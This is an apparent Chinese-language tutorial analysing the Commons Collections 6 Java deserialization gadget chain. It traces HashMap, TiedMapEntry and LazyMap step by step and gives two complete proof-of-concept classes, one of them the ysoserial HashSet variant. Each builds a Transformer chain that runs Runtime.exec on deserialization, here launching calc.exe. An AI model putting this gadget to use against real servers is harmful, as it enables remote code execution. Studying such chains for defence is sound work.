Java利用链CommonCollections6分析
在CommonsCollections1的利用链中在Java 8u71之后的版本无法利用,因为在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法发生了变化。在CC1的ysosserial中利用
AnnotationInvocationHandler#readObject=>AnnotationInvocationHandler#invoke=>LazyMap#get
最终调用LazyMap执行tansform,在CC6找到了新的触发LazyMap#get利用链
找到的类为org.apache.commons.collections.keyvalue.TiedMapEntry
TiedMapEntry
在TiedMapEntry中的getValue方法触发了get

而其hashcode方法又调用了getValue方法

利用链为
TiedMapEntry#hashcode=>TiedMapEntry#getValue=>LazyMap#get
需要继续找到触发TiedMapEntry#hashcode的类 改类为HashMap
HashMap
在Hashmap的hash方法中调用了hashcode,当key设置为TiedMapEntry就可以调用TiedMapEntry#hashcode

同时在HashMap的readObject方法中发现调用了hash方法

利用链为HashMap#readObject=>HashMap#hash
也就是说入口也找到了,直接反序列化构造的HashMap对象就可以执行整个利用链
整个利用过程为
HashMap#readObject=>HashMap#hash=>TiedMapEntry#hashcode=>TiedMapEntry#getValue=>LazyMap#get
构造利用链
根据分析的利用链进行利用链构造,POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class CommonCollections6 { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"value");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
} }
|
成功弹出计算器

CC6利用链可以通过HashMap一个类直接触发,而在ysoserial中的触发则相对复杂利用到了多个类
ysoserial中的CC6利用链
在ysoserial的利用链如下
HashSet#readObject=>HashMap#put=>HashMap#hash=>TiedMapEntry#hashCode
入口点为HashSet的readObject,由于HashMap#hash=>TiedMapEntry#hashCode已经追过源码继续追一下HashSet#readObject=>HashMap#put=>HashMap#hash的利用链
在HashMap中的put方法也触发了hash

HashSet的readObject方法触发了map#put

构造Gadget的难点是设置HashSet的key没有办法像HashMap一样直接put(key,value),需要利用反射获取属性参数进行设置,在开始构造了如下gadget但是无法执行

提示报错

原因是在HashSet中的map属性必须为HashMap类型

看看ysoserial中是如何处理的

先获取创建Hashset的map属性没有则获取backingMap 最终类型为HashMap

获取返回HashMap的table属性没有则获取elementData属性

table为Node节点数组,Node用来存储key,value键值对

相应的array返回的就是Node节点数组
接下来在节点数组中拿到已有设置的节点对象

接下来获取Node节点对象的key属性

参看Node节点的key

最后关键一步设置key,entry为TiedMapEntry对象

根据ysoserial整个利用链来构造复现下 POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| public class CommonCollections6B { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
f2.setAccessible(true); Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; if(node == null){ node = array[1]; }
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
keyField.setAccessible(true); keyField.set(node, tiedMapEntry);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
} }
|
成功弹出计算器

__END__